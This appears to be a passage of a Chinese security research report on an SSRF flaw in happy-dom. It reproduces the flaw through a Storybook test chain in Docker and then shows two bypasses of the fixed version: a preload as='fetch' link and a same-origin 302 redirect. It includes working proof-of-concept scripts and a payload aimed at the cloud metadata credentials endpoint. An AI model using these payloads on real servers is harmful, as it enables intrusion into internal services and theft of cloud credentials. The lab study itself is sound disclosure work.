图 5-2 5.3.1 远程环境检查:Ubuntu 26.04.1 LTS(aarch64)、Docker 29.9.3、Compose v5.7.0(图片:05-storybook-01-远程环境检查-01.png)

确认 aarch64、Docker 可用、registry.npmjs.org 可达(构建镜像需要 npm ci)。

5.3.2 构建受害镜像

docker compose build app

图 5-3 5.3.2 docker compose build app:Image cve-2026-118660-sb/app:latest Built(图片:05-storybook-03-构建受害应用镜像-01.png)

node:22-alpine + npm ci(package-lock.json 锁定 happy-dom=17.6.3),输出 Image cve-2026-118660-sb/app:latest Built。镜像只装依赖,不编译任何本地组件——受害者就是一个普通的 Storybook 项目。

5.3.3 启动内网服务并确认外部不可达

docker compose up -d intranet
docker compose ps                     # 注意 PORTS 一列为空
docker compose exec -T intranet wget -qO- http://127.0.0.1:3000/healthz   # → ok

图 5-4 5.3.3 启动内网服务:intranet_ Running 且 PORTS 列为空,healthz 返回 ok(图片:05-storybook-04-启动内网服务-01.png)_

PORTS 为空是关键:宿主机与外部网络都没有通往 intranet:3000 的路由。

5.3.4 运行 Storybook 测试链(核心步骤)

docker compose run --rm app

这一步等价于项目里 storybook test 的底层链路:storybookTest 插件把 story 转成 vitest 测试,vitest 用 environment: 'happy-dom' 在 Node 进程内提供 DOM。完整输出:

[+] run 2/2
 ✔ Container cve-2026-118660-sb-intranet-1  Running
 ✔ Container cve-2026-118660-sb-app-run-f3c8e31c26c  Created
[run] happy-dom version in node_modules: 17.6.3
[run] storybook version: 10.6.5
[run] renderer: 10.6.5 (@storybook/html-vite)
[run] running Storybook test pipeline: vitest run (storybookTest plugin, environment: happy-dom)
---------------------------------------------------------------------------

 RUN  v4.1.12 /app

stdout | src/user-content.stories.js > Submitted comment (attacker-controlled HTML)
[STORYBOOK-POC] stylesheet-loaded-href=http://intranet:3000/attacker-probe.css
[STORYBOOK-POC] iframe-reflected-content="SECRET: INTERNAL-ONLY-TOKEN-cve-2026-118660 (cloud-metadata-like internal data)"
[STORYBOOK-POC] RESULT=internal-secret-leaked (iframe content readable by story code)

 ✓ storybook-happy-dom src/user-content.stories.js (1 test) 24ms
   ✓ Submitted comment (attacker-controlled HTML) 23ms

  Test Files  1 passed (1)
       Tests  1 passed (1)
   Start at  22:33:32
   Duration  356ms

图 5-5 5.3.4 docker compose run --rm app:测试通过的同时打出回显的机密 token(图片:05-storybook-05-漏洞触发-运行Storybook测试链-01.png)

这里值得停一下:测试是通过的。没有任何断言失败,没有任何异常,日志里的 stylesheets-loaded 甚至像一条正常的调试信息。SSRF 不是以"报错"的形式出现的。

5.3.5 内网服务侧取证

docker compose logs intranet
intranet-1  | [intranet] internal-only service on :3000 (token=INTERNAL-ONLY-TOKEN-cve-2026-118660)
intranet-1  | [SSRF-HIT] 2026-11-05T22:33:32.956Z GET /attacker-probe.css from ::ffff:172.18.0.3 | internal-only service reached! (vector: <link rel=stylesheet>)
intranet-1  | [SSRF-HIT] 2026-11-05T22:33:32.957Z GET /secret/metadata from ::ffff:172.18.0.3 | internal-only service reached! (vector: <iframe src>)

图 5-6 5.3.5 内网服务日志:两条 [SSRF-HIT],来源 ::ffff:172.18.0.3(图片:05-storybook-06-内网服务命中日志-01.png)

5.4 证据解读

  • **来源 IP 是 **172.18.0.3,即运行 Storybook 测试链的 app 容器;提交 HTML 的攻击者对 intranet 没有任何直接访问通道。

  • 两条请求间隔 1ms(.956Z / .957Z),落在 5.3.4 中 24ms 完成的同一个测试时间窗内,说明它们来自同一次 innerHTML 解析,而不是两次独立操作。整个测试仅 23–24ms 也排除了等待、重试这类偶然因素。

  • 两条命中分别对应 <link> 与 <iframe> 向量,路径 /attacker-probe.css、/secret/metadata 与 story 里写死的 URL 完全一致。

  • token 出现在两个位置:intranet 自己的响应体,以及 5.3.4 的测试 stdout。后者是 play 函数从 iframe.contentDocument 中读出的,证明数据已经进入受害进程,完成了从 SSRF 到信息泄露的最后一步。

关于同源设定的说明

vitest.config.js 把 environmentOptions.happyDOM.url 设成与内网服务同源的 http://intranet:3000/story,用于演示 play 读取 iframe 内容这条回显路径——同源时 happy-dom 才允许脚本读取 contentDocument。

SSRF 出网请求本身与同源与否无关。 两次命中都发生在解析 innerHTML 的瞬间,此时 URL 只是给文档一个基准地址;真实跨源场景下请求同样会发出,区别仅在于 story 代码读取 iframe 内容时受同源策略限制。即跨源只会削弱"回显",不会削弱"出网"。

这与 4.7.3 的结论也对得上:真正决定"能不能读到"的是宿主应用能否走 frame 树(childFrames[i].window.document),而不是页面脚本能否过 contentWindow 代理。story 里用 contentDocument 是为了演示最"规矩"的一条路,实际危害面比它更宽。

5.5 对照实验:修复版与官方缓解

单次触发只能证明"能打",还不足以证明"打的就是这个漏洞"。因此补两组对照,共用同一份 story、同一套命令,只改版本或配置:

组别

happy-dom

配置

内网命中

机密回显

判定

1. 漏洞复现

17.6.3(storybook 仓库 yarn.lock 实测解析版本)

默认

2 次

是(token 完整回显)

✅ 漏洞触发

2. 修复对照

21.0.4

默认

0 次

否

✅ 修复版有效

3. 缓解对照

17.6.3

disableIframePageLoading + disableCSSFileLoading

0 次

否

✅ 官方缓解有效

切换配置用 --no-save,只改 node_modules,不动 package.json:

# 组 2:升级到修复版
docker compose run --rm -e HAPPY_DOM_VERSION=21.0.4 app

# 组 3:留在 17.6.3,打开两个 disable 开关(settings 由 vitest 配置透传)
docker compose run --rm \
  -e HAPPY_DOM_VERSION=17.6.3 \
  -e 'HAPPY_DOM_SETTINGS={"disableIframePageLoading":true,"disableCSSFileLoading":true}' \
  app

图 5-7 5.5 组 2(21.0.4):CSS file loading is disabled_ / Iframe page loading is disabled(图片:05-storybook-07-修复对照-happy-dom-21.0.4-01.png)_

图 5-8 5.5 组 3(17.6.3 + 两个 disable 开关):同样 RESULT=no-iframe-content-reflected(图片:05-storybook-09-缓解对照-官方disable开关-01.png)

两组的共同结果:

  • intranet 侧 **0 条 **[SSRF-HIT](对照组运行前用 --force-recreate 重建内网服务清空日志,避免上一组记录污染断言);

  • story 输出 RESULT=no-iframe-content-reflected;

  • happy-dom 21 还会在控制台打出 Iframe page loading is disabled 一类错误,是"默认值翻转"生效的直接证据。

图 5-9 5.5 组 2 的 intranet 日志:只有启动行,0 条 [SSRF-HIT](图片:05-storybook-08-修复对照-内网服务无命中-01.png)

图 5-10 5.5 组 3 的 intranet 日志:同样 0 条命中(图片:05-storybook-10-缓解对照-内网服务无命中-01.png)

用 verify.sh 把三组串起来做严格断言(版本、命中条数、回显内容逐项校验):

./verify.sh      # 结束后自动 docker compose down,镜像保留
RESULT: 9 passed, 0 failed

图 5-11 5.5 ./verify.sh:三组 9 项断言全过(图片:05-storybook-11-一键验证-verify.sh-01.png)

9 项断言全部通过,"漏洞组 2 次命中 + 修复组 0 命中 + 缓解组 0 命中"因此可重复、可自动判定,而不依赖人工比对截图。

5.6 为什么这是真实风险,而不只是"测试噪音"

"测试里加载一个 iframe,本来就该发生"这个说法忽略了三件事。第一件事在 2.5 已经说过——发起方从浏览器变成了 Node 进程——这里只补另外两件。

攻击入口是普通业务输入。 攻击者不需要接触 story 代码,只需提交一段带 <iframe> 的评论或富文本。项目只要存在"渲染用户 HTML"的组件,并在测试或预渲染中经过 happy-dom,用户输入就直接变成了服务端请求。Storybook 只是恰好提供了一个现成的、编译好的渲染管线。

测试进程往往被信任。 CI 日志里的外部 URL 请求通常不会被当成安全事件,测试环境的出网限制也常比生产环境宽松。而这类请求又发生在"测试通过"的绿色输出里,既没有异常也没有失败,正好落在监控的盲区。这让整条路径既好用又隐蔽。

所以修复动作不是"把测试里的 iframe 删掉",而是让 DOM 实现默认不再自动加载外部资源——以及,在应用侧承认"渲染用户 HTML"本身就是一条需要设防的链路。

5.7 与第三章的对照

维度

第三章(自建应用)

本章(Storybook + Vitest)

入口

page.content = html

canvasElement.innerHTML = html

DOM 提供方

应用自己 new Browser()

vitest 的 happy-dom 环境

受影响版本

20.14.6

17.6.3

请求发起进程

web 容器里的 Node 进程

测试容器里的 Node 进程

数据回显方式

应用读 childFrames 后写进 JSON 响应

play 读 iframe.contentDocument 后打印

共同点

两个向量、同一次解析、默认配置

同左

两条链在函数层面完全重合:都是 innerHTML / document.write 进入 HTMLParser,都是连接边沿触发 connectedToDocument,最后都落到 Fetch.sendRequest。差异只在宿主怎么用这个库。

下一章讨论最后一件事:如果升级到修复版本,这条链还通不通?


六、修复版本的绕过尝试

21.0.0 的修复把两个默认值翻了过来。这一章要回答两个问题:

  1. 这个修复模型盖住了哪些出口,又漏了哪些?

  2. 如果使用方按公告自行加了一道过滤,这道过滤算不算边界?

实验分两个方向:方向一在库内找一个补丁没盖到的声明式出口;方向二在库外,假设应用层已经加了"只允许相对 / 同源 href"的过滤器,看它能不能把请求送到内网。

6.1 补丁与基线

修复 commit 的行为改动只有三处:

位置

修复前

修复后

DefaultBrowserSettings

只有 disableCSSFileLoading / disableIframePageLoading(默认 false)

新增 enableCSSFileLoading / enableIframePageLoading(默认 false)

HTMLIFrameElement.#loadPage

只检查 disableIframePageLoading

双条件:disableIframePageLoading 或 !enableIframePageLoading

HTMLLinkElement 的 style 路径

只检查 disableCSSFileLoading

双条件:disableCSSFileLoading 或 !enableCSSFileLoading

三处分别落在 lib/browser/DefaultBrowserSettings.js、lib/nodes/html-iframe-element/HTMLIFrameElement.js 的 #loadPage、lib/nodes/html-link-element/HTMLLinkElement.js 的 #loadStyleSheet 与 #preloadResource 的 style 分支上。

它没有做的是:URL allowlist、内网网段过滤、重定向目标校验、统一的 Fetch 出网策略。对照 4.4 与 4.5 的结论,这正好意味着"出口仍然是原来那个出口,只是在几个入口前加了门"。

原 CVE 的向量只有两个标签:

<link rel="stylesheet" href="http://内网/style.css">
<iframe src="http://内网/metadata"></iframe>

同一份 HTML 分别在 20.14.6 与 21.0.4 的默认设置下解析,期望命中数从 2 变成 0。

6.1.1 本地基线脚本

先建两个目录,各装一个版本,把下面这份脚本分别复制进去运行:

mkdir -p baseline/v20 baseline/v21
# 把 baseline-check.mjs 分别放进两个目录
(cd baseline/v20 && npm init -y >/dev/null && npm install happy-dom@20.14.6)
(cd baseline/v21 && npm init -y >/dev/null && npm install happy-dom@21.0.4)
(cd baseline/v20 && node baseline-check.mjs)
(cd baseline/v21 && node baseline-check.mjs)
// baseline-check.mjs —— 原 CVE 向量在默认设置下的对照
import http from 'node:http';
import { readFileSync } from 'node:fs';
import { Window } from 'happy-dom';

const PORT = 31091, BASE = `http://127.0.0.1:${PORT}`;
const hits = [];
const server = http.createServer((req, res) => {
    if (req.url === '/report') { res.writeHead(200); return res.end(JSON.stringify(hits)); }
    hits.push(req.url);
    const css = req.url.endsWith('.css');
    res.writeHead(200, { 'Content-Type': css ? 'text/css' : 'text/html' });
    res.end(css ? 'body{color:red}' : '<html><body>SECRET: INTERNAL-ONLY-TOKEN</body></html>');
});
await new Promise((r) => server.listen(PORT, '127.0.0.1', r));

const { version } = JSON.parse(readFileSync('./node_modules/happy-dom/package.json', 'utf8'));
console.log(`happy-dom@${version} | new Window({ url })  // 不传 settings`);

const w = new Window({ url: BASE + '/' });
w.document.write(`<link rel="stylesheet" href="${BASE}/style.css"><iframe src="${BASE}/metadata"></iframe>`);
await new Promise((r) => setTimeout(r, 1500));
const frame = w.document.querySelector('iframe');
const win = frame.contentWindow;
const reflected = win && win.document.body ? win.document.body.innerHTML : null;
console.log('hits         :', hits.length, hits.join(', ') || '(none)');
console.log('iframeContent:', reflected === null ? 'null (no contentWindow)' : JSON.stringify(reflected));
w.close(); server.close();

实测输出。

修复前(20.14.6):

happy-dom@20.14.6 | new Window({ url })  // 不传 settings
hits         : 2 /style.css, /metadata
iframeContent: "SECRET: INTERNAL-ONLY-TOKEN"

修复后(21.0.4):

happy-dom@21.0.4 | new Window({ url })  // 不传 settings
hits         : 0 (none)
iframeContent: null (no contentWindow)

原始 PoC 用 Browser,在 app 容器里解析 HTML,目标是一个只在内网可达的容器服务;这里用 Window。两者最终都落到同一个 Fetch 出口,载荷与判定结论一致。换成 Window 是为了让后续绕过实验不依赖 Docker,跑得更快、更容易复现。

6.2 实验设置与判定

6.2.1 环境

项

值

Node

26.12.1 实测,20+ 可运行

happy-dom

21.0.4,版本写死,不用 ^

平台

macOS arm64 实测,Linux 亦可

网络

只走 127.0.0.1,不出公网

端口

30091 / 30092 / 31091,冲突可换

依赖

Node 内置模块 + happy-dom,无测试框架、无 Docker

文中 lib/**/*.js 的行号都取自 21.0.4 的编译产物。21.0.0 到 21.0.4 之间 Fetch.js 有过改动(handleRedirectResponse 里补上了跨源重定向删除 Authorization 的处理),行号基本对得上,但代码内容会差一段,对照时以 21.0.4 为准。

6.2.2 三个测试

测试

验证什么

载荷

判定

基线

补丁对被报告的两条路径有效

iframe + stylesheet

命中数 2 → 0

方向一

补丁没盖全加载出口

preload as="fetch" + 绝对 URL

对照组 0 命中,向量命中

方向二

应用层 href 过滤看不到最终目标

同源相对路径 + 302

A 端完整 GET,B 端收到 OPTIONS

6.2.3 判定规则

判定按下面六条:

  1. 构造 Window 不传 settings,并打印实际生效的开关值:结论要落在默认配置上。

  2. 每个向量单开一个 Window,不复用页面:preload 缓存、连接池和上一轮的状态都会串进来。

  3. 必须有对照组,且对照组一条都不命中;命中说明环境或设置不对,这轮结果作废。

  4. 以对端服务的请求日志为准,记方法和路径。判断出没出网看日志,不看客户端有没有报错。

  5. 读日志前等 1.2–1.5 秒。Fetch 是异步的,读早了会把"还没到"当成"被拦"。

  6. 由脚本断言并返回退出码,0 才算通过:避免肉眼漏看,也方便接 CI。

这六条和第三章"证据分三层"的思路是同一套:不依赖单一信号,先证明出口开着,再证明某条路径没被拦住。

6.3 方向一:<link rel="preload" as="fetch">

补丁在 #preloadResource 的 style 分支和 iframe 加载点各加了一道检查。同一个函数里除 style、script 外是否还有第三个分支、它是否受检查,决定了补丁覆盖是否完整。

问题不在"又发现一个新漏洞",而在覆盖:若修复模型是"在每个已知出口前加检查",安全性就取决于出口枚举的完备性,漏掉一个,性质即不成立。

6.3.1 代码路径

#preloadResource 先过滤 as,再按分支决定是否继续。v21.0.4 的实现(节选,注释为本文所加):

// lib/nodes/html-link-element/HTMLLinkElement.js:294-346
async #preloadResource(url: string): Promise<void> {
    const window = this[PropertySymbol.window];
    const browserFrame = new WindowBrowserContext(window).getBrowserFrame();
    const as = this.as;

    // 支持列表:只有 "script"、"style" 和 "fetch"
    if (
        !browserFrame ||
        !this[PropertySymbol.isConnected] ||
        (as !== 'script' && as !== 'style' && as !== 'fetch')
    ) {
        return;
    }

    const browserSettings = browserFrame.page.context.browser.settings;

    // 检查 1:script(补丁之前就有)
    if (as === 'script' &&
        (browserSettings.disableJavaScriptFileLoading || !browserSettings.enableJavaScriptEvaluation)) {
        return;
    }

    // 检查 2:style(补丁新增)
    if (as === 'style' &&
        (browserSettings.disableCSSFileLoading || !browserSettings.enableCSSFileLoading)) {
        return;
    }

    // ← as === 'fetch' 不进入检查,直接落到这里
    const absoluteURL = new URL(url, window.location.href).href;
    const fetch = new Fetch({
        browserFrame,
        window,
        url: absoluteURL,
        disableSameOriginPolicy: as === 'script' || as === 'style', // fetch: false
        disablePreload: true,
        init: { credentials: this.crossOrigin === 'use-credentials' ? 'include' : 'same-origin' }
    });

    const response = await fetch.send(); // ← 出网(响应处理略)
}

支持列表只有 script、style、fetch;前两个各有一道检查,fetch 通过白名单后直接落到 new Fetch({...}).send(),没有任何 browserSettings 检查。as="font" 之类的值在第一个 if 就返回,走不到检查分支。

补丁对这个函数的改动只落在 style 分支上。fetch 分支在 v20.14.6 就能出网,并非补丁引入;补丁关掉相邻两个分支后,它成了默认配置下唯一没有检查的声明式出口。

注意这里和 4.6.2 的对照关系:原 CVE 的 style 路径走的是 #loadStyleSheet,补丁在那里加了 enableCSSFileLoading;而 rel="preload" 走的是同类的另一个函数 #preloadResource,补丁只在它的 style 分支上加了检查。一个元素、两个加载函数、三个分支,覆盖差异就出在这里。

6.3.2 载荷

<link rel="preload" as="fetch" href="http://169.254.169.254/latest/meta-data/iam/security-credentials/">

注入前提与原 CVE 相同:应用把攻击者可控的 HTML 交给 happy-dom 在服务端解析(document.write、window.loadHTML、DOMParser 后挂载等)。

6.3.3 本地复现

mkdir -p scheme1 && cd scheme1
npm init -y >/dev/null
npm install happy-dom@21.0.4
# 保存下面的脚本为 scheme1-verify.mjs
node scheme1-verify.mjs; echo "exit=$?"
// scheme1-verify.mjs —— 默认设置下,5 个控制组 + 1 个向量
import http from 'node:http';
import { Window } from 'happy-dom';

const PORT = 30091, BASE = `http://127.0.0.1:${PORT}`;
const hits = [];
const server = http.createServer((req, res) => {
    if (req.url === '/report') { res.writeHead(200); return res.end(JSON.stringify(hits)); }
    hits.push(req.url);
    res.writeHead(200, { 'Content-Type': 'text/plain' });
    res.end(req.url.startsWith('/metadata') ? 'SECRET-ROLE: admin' : 'ok');
});
await new Promise((r) => server.listen(PORT, '127.0.0.1', r));

// 证明:构造 Window 时没有传 settings
const s = new Window({ url: BASE + '/' }).happyDOM.settings;
console.log('runtime settings:', JSON.stringify({
    enableCSSFileLoading: s.enableCSSFileLoading,
    enableIframePageLoading: s.enableIframePageLoading,
    enableImageFileLoading: s.enableImageFileLoading,
    enableJavaScriptEvaluation: s.enableJavaScriptEvaluation
}));

const rounds = [
    ['control stylesheet', `<link rel="stylesheet" href="${BASE}/metadata?vec=ctrl-stylesheet">`, false],
    ['control iframe', `<iframe src="${BASE}/metadata?vec=ctrl-iframe"></iframe>`, false],
    ['control script', `<script src="${BASE}/metadata?vec=ctrl-script"></script>`, false],
    ['control img', `<img src="${BASE}/metadata?vec=ctrl-img">`, false],
    ['control as=font', `<link rel="preload" as="font" href="${BASE}/metadata?vec=ctrl-font">`, false],
    ['VECTOR as=fetch', `<link rel="preload" as="fetch" href="${BASE}/metadata?vec=vector">`, true]
];

for (const [, html] of rounds) {
    const w = new Window({ url: BASE + '/' }); // 关键:不传 settings
    w.document.write(html);
    await new Promise((r) => setTimeout(r, 1200));
    w.close();
}

const report = await (await fetch(`${BASE}/report`)).json();
console.log('hit log:', report.join(', ') || '(empty)');
let failed = false;
for (const [name, html, expectHit] of rounds) {
    const vec = html.match(/vec=([\w-]+)/)[1];
    const hit = report.some((u) => u.includes('vec=' + vec));
    if (hit !== expectHit) failed = true;
    console.log(`  [${hit === expectHit ? 'PASS' : 'FAIL'}] ${name.padEnd(20)} ${hit ? 'REACHED' : 'blocked'}`);
}
console.log(failed ? 'RESULT: FAILED' : 'RESULT: BYPASS CONFIRMED');
server.close();
process.exit(failed ? 1 : 0);

前四个控制组对应补丁关闭或本来就关闭的加载路径,as="font" 对应白名单拒绝;只有 as="fetch" 预期命中。

6.3.4 结果

runtime settings: {"enableCSSFileLoading":false,"enableIframePageLoading":false,"enableImageFileLoading":false,"enableJavaScriptEvaluation":false}
hit log: /metadata?vec=vector
  [PASS] control stylesheet   blocked
  [PASS] control iframe       blocked
  [PASS] control script       blocked
  [PASS] control img          blocked
  [PASS] control as=font      blocked
  [PASS] VECTOR as=fetch      REACHED
RESULT: BYPASS CONFIRMED

退出码 0。

图 6-1 6.3.4 默认设置下的判定:5 个控制组被拦,preload as="fetch"_ 命中(图片:06-bypass1-05-默认设置下触发绕过-01.png)_

6.3.5 边界条件:CORS 决定这条路径能走多远

这条路径受 CORS 约束,能否实际发出请求取决于基址与目标的关系。基址对照(同一台机器,两个端口区分 origin):

解析上下文基址

载荷

观测

与目标同源

<link rel="preload" as="fetch" href="目标">

GET 到达

与目标跨源,默认属性

同上

无任何网络包

与目标跨源,crossorigin="use-credentials"

同上

OPTIONS 到达;目标回 Access-Control-Allow-Origin 时 GET 也到达

about:blank

同上

无包

复跑方式:脚本本身是同源形态;另起一个回环端口作目标即跨源;加 crossorigin="use-credentials" 即第三种;about:blank 直接作为 url。

跨源、默认属性时一个包都发不出,原因是预检与主请求互相等待,这本身是一个独立缺陷:

  1. 主请求在 HTMLLinkElement 里先注册一个 preload entry,key 是 { url, destination: 'fetch', mode: 'cors', credentialsMode: 'same-origin' };

  2. 然后用 disablePreload: true 建 Fetch,跳过自己的缓存查找,进入 Fetch.send();

  3. 页面基址与目标跨源,Fetch.send() 进入 CORS 预检,另建一个 Fetch 发 OPTIONS;

  4. 这个预检 Fetch 没有设 disablePreload,在默认属性下,它用同一个 URL / destination / mode / credentials 计算 preload key,命中了主请求自己注册的 entry;

  5. 预检执行 await preloadEntry.onResponseAvailable(),等待主请求完成;而主请求正在等待预检结果——互相等待,首包永远不发出。

use-credentials 之所以能打破等待,是因为 preload key 里包含 credentialsMode:主请求用 include,预检用默认的 same-origin,两者不再命中同一个 entry。

实测跨源 + use-credentials、目标回 Access-Control-Allow-Origin: * 时,目标端依次收到 OPTIONS /metadata 与 GET /metadata:

target hits: OPTIONS /metadata, GET /metadata

所以,这条路径的完整 GET 需要两个条件之一:基址与目标同源,或目标对 CORS 宽松。否则它最多是一次盲探测(OPTIONS),甚至完全静默。

这是 happy-dom 的 CORS 实现带来的限制,并不改变该分支没有检查这一事实:若页面基址就是目标(如按用户 URL 设置 page.url 的预览功能),它就是完整 GET;基址固定时,它仍是方向二的基础。

CORS 限制的是跨源读取,不是出网。只要预检能发出去,OPTIONS 本身就是一次出网;被拦住的是后续 GET 和响应体。目标没回 ACAO 只能说明读不到数据,不能说明没有 SSRF。

6.3.6 为什么会漏掉这一支

  • 语义错位:preload 在浏览器里是"提示",不是"资源类型"。修 CSS / iframe 的人会自然地把 as="style" 和 <link rel="stylesheet"> 放在一起看,而 as="fetch" 更像 fetch API 的预热,不在"外部资源加载"的清单里。

  • 没有对应开关:补丁做的是"翻转默认值",而 as="fetch" 从来没有一个 enableFetchPreloading 之类的开关。没有开关,就不会出现在"默认值清单"里,也就不会被顺手翻转。

  • 白名单被误当成授权:as 列表回答的是"这个值合不合法",不是"这个值允不允许出网"。fetch 合法,但它没有被授权。

6.4 方向二:302 重定向

6.4.1 威胁模型

方向一假设使用方什么都没加。现实中更可能发生的是:使用方读了公告,在应用层补了一道 href 检查,只允许相对路径或同源 URL。

// 应用层的"安全 href 检查"(示意)
const target = new URL(href, pageBase);
if (target.origin !== pageBase.origin) {
    throw new Error('blocked: cross-origin href');
}

这道检查能挡住方向一的绝对 URL 载荷。但它检查的是HTML 里的 href 字符串,不是 happy-dom 最终会请求的 URL。由此产生第二个方向的问题:

如果过滤器只放行同源 / 相对路径,攻击者还能不能把请求送到内网?

实验没有实现这个过滤器,而是用只含相对路径的载荷;这类载荷任何"只允许相对 / 同源"的过滤器都会放行。这里验证的是过滤思路的盲区,与具体实现无关。

6.4.2 载荷

<link rel="preload" as="fetch" href="/redirect-same">   <!-- A:302 -> /metadata -->
<link rel="preload" as="fetch" href="/redirect-cross">  <!-- B:302 -> 另一台内网主机 -->

/redirect-* 是应用域上任何会返回 302 的端点的替身:开放重定向、短链、登录回跳、?next= 参数。它们本身可能不是漏洞,但在服务端解析器里,它们是网络跳板。

过滤器视角完全无害;真实目标由 Location 决定。

6.4.3 重定向处理

Fetch 对 3xx 的处理在 handleRedirectResponse:取 Location,做最大跳数检查,然后用 redirectCount + 1 新建一个 Fetch 并直接 .send()。

// lib/fetch/Fetch.js:696-779(节选)
handleRedirectResponse(nodeResponse, responseHeaders) {
    if (!isRedirect(nodeResponse.statusCode)) {
        return false;
    }
    switch (this.request.redirect) {
        case 'follow':
            const locationHeader = responseHeaders.get('Location');
            const locationURL = new URL(locationHeader, this.request.url);

            if (isMaxRedirectsReached(this.redirectCount)) {
                // 最多 20 跳
                this.reject(new DOMException('Maximum redirects reached'));
                return true;
            }

            const headers = new Headers(this.request.headers);
            if (isCORS(this.request.url, locationURL)) {
                headers.delete('authorization'); // 跨源只删认证头
            }
            // ... Cookie 按 credentials 规则删除 ...

            const fetch = new Fetch({
                browserFrame: this.#browserFrame,
                window: this.#window,
                url: locationURL,
                init: requestInit,
                redirectCount: this.redirectCount + 1,
                disableSameOriginPolicy: this.disableSameOriginPolicy,
                contentType: ...
            });

            this.finalizeRequest();
            fetch.send().then((response) => this.resolve(response)).catch((error) => this.reject(error));
            return true;
    }
}

几个关键点:

  • 3xx 列表是 301 / 302 / 303 / 307 / 308,最多 20 跳;

  • Location 相对当前请求 URL 解析,不是相对页面基址;

  • 跨源重定向只删 Authorization;Cookie 按 credentials 规则删;

  • 全程没有"最终目标是否属于私网"的检查。

图 6-2 6.4.3 源码证据:redirectCount + 1_ 重建 Fetch 后直接 send,没有目标网段校验(图片:06-bypass2-13-源码证据-重定向无条件跟随-01.png)_

6.4.4 实验拓扑

本地用两个回环端口模拟两台主机(origin = scheme + host + port,端口不同即跨源):

图 6-3 6.4.4 方案 2 的实验拓扑:A 完整 GET,B 以 OPTIONS 预检到达(图片:00-diagram-scheme2-redirect-302.jpg)

6.4.5 本地复现

mkdir -p scheme2 && cd scheme2
npm init -y >/dev/null
npm install happy-dom@21.0.4
# 保存下面的脚本为 scheme2-verify.mjs
node scheme2-verify.mjs; echo "exit=$?"
// scheme2-verify.mjs —— 同源 href + 302,检验应用层 href 过滤的盲区
import http from 'node:http';
import { Window } from 'happy-dom';

const INT = 'http://127.0.0.1:30091', INT2 = 'http://127.0.0.1:30092';
const log = [], log2 = [];
const internal = http.createServer((req, res) => {
    const path = req.url.split('?')[0];
    if (path === '/report') { res.writeHead(200); return res.end(JSON.stringify(log)); }
    log.push(req.method + ' ' + req.url);
    if (path === '/redirect-same') { res.writeHead(302, { Location: '/metadata?vec=same-hop2' }); return res.end(); }
    if (path === '/redirect-cross') { res.writeHead(302, { Location: INT2 + '/metadata?vec=cross-hop2' }); return res.end(); }
    res.writeHead(200, { 'Content-Type': 'text/plain' });
    res.end(path.startsWith('/metadata') ? 'SECRET-ROLE: admin' : 'ok');
});
const internal2 = http.createServer((req, res) => {
    const path = req.url.split('?')[0];
    if (path === '/report') { res.writeHead(200); return res.end(JSON.stringify(log2)); }
    log2.push(req.method + ' ' + req.url);
    res.writeHead(200, { 'Content-Type': 'text/plain' });
    res.end('SECRET-ROLE: admin');
});
await Promise.all([
    new Promise((r) => internal.listen(30091, '127.0.0.1', r)),
    new Promise((r) => internal2.listen(30092, '127.0.0.1', r))
]);

// 证明:构造 Window 时没有传 settings
const s = new Window({ url: INT + '/' }).happyDOM.settings;
console.log('runtime settings:', JSON.stringify({
    enableCSSFileLoading: s.enableCSSFileLoading,
    enableIframePageLoading: s.enableIframePageLoading,
    enableImageFileLoading: s.enableImageFileLoading,
    enableJavaScriptEvaluation: s.enableJavaScriptEvaluation
}));

const probe = async (html) => {
    const w = new Window({ url: INT + '/' }); // 默认设置,页面基址 = 应用域
    w.document.write(html);
    await new Promise((r) => setTimeout(r, 1500));
    w.close();
};

// 控制组:补丁路径仍然被拦;baseline:出口本身是开的
await probe(`<link rel="stylesheet" href="${INT}/metadata?vec=ctrl">`);
await probe(`<link rel="preload" as="fetch" href="${INT}/metadata?vec=baseline">`);
// 过滤器会放行的两个载荷:都是相对路径
await probe(`<link rel="preload" as="fetch" href="/redirect-same">`);
await probe(`<link rel="preload" as="fetch" href="/redirect-cross">`);

const r1 = await (await fetch(INT + '/report')).json();
const r2 = await (await fetch(INT2 + '/report')).json();
console.log('internal :', r1.join(' | ') || '(empty)');
console.log('internal2:', r2.join(' | ') || '(empty)');

const has = (arr, m, u) => arr.some((x) => x.startsWith(m) && x.includes(u));
const checks = [
    ['control stylesheet blocked', !r1.some((u) => u.includes('vec=ctrl'))],
    ['baseline direct GET', has(r1, 'GET', 'vec=baseline')],
    ['A first hop', has(r1, 'GET', '/redirect-same')],
    ['A final GET (same-origin)', has(r1, 'GET', 'vec=same-hop2')],
    ['B first hop', has(r1, 'GET', '/redirect-cross')],
    ['B final reach internal2', has(r2, 'OPTIONS', 'vec=cross-hop2')]
];
let failed = false;
for (const [name, ok] of checks) { if (!ok) failed = true; console.log(`  [${ok ? 'PASS' : 'FAIL'}] ${name}`); }
console.log(failed ? 'RESULT: FAILED' : 'RESULT: BYPASS CONFIRMED (A full GET; B preflight only)');
internal.close(); internal2.close(); process.exit(failed ? 1 : 0);

control stylesheet 仍被拦、baseline 命中、A / B 成立,说明问题不在补丁未生效,而在覆盖不全。

6.4.6 结果

runtime settings: {"enableCSSFileLoading":false,"enableIframePageLoading":false,"enableImageFileLoading":false,"enableJavaScriptEvaluation":false}
internal : GET /metadata?vec=baseline | GET /redirect-same | GET /metadata?vec=same-hop2 | GET /redirect-cross
internal2: OPTIONS /metadata?vec=cross-hop2
  [PASS] control stylesheet blocked
  [PASS] baseline direct GET
  [PASS] A first hop
  [PASS] A final GET (same-origin)
  [PASS] B first hop
  [PASS] B final reach internal2
RESULT: BYPASS CONFIRMED (A full GET; B preflight only)

退出码 0。

图 6-4 6.4.6 重定向链绕过的自动判定:6 项断言全过(图片:06-bypass2-10-重定向链绕过补丁-01.png)

图 6-5 6.4.6 内网两侧的命中日志:所有请求都来自 app 容器(图片:06-bypass2-11-内网命中日志证据-01.png)

6.4.7 A 与 B 的差异

A 形态的最终目标与页面同源,不触发 CORS,所以完整 GET 到达应用域上的敏感路径。这里的"完整"指请求侧:happy-dom 确实把响应读进了进程;响应体不会自动回到攻击者。默认配置下更准确的定性是盲 SSRF + 完整 GET 能力;如果应用把 preload 结果、错误或时序暴露出来,才可能进一步变成可读外泄。

B 形态的最终目标跨源,happy-dom 会先做 CORS 预检;与浏览器不同,它对 simple GET 也预检。OPTIONS 到达 internal2;主 GET 等 Access-Control-Allow-Origin,目标刻意不回,于是被拦。

如果目标是内部对象存储、CDN 或某些内部 API——它们经常回 Access-Control-Allow-Origin: *——主 GET 就会继续。happy-dom 的预检校验接受 *,也接受与页面 origin 相同的值。

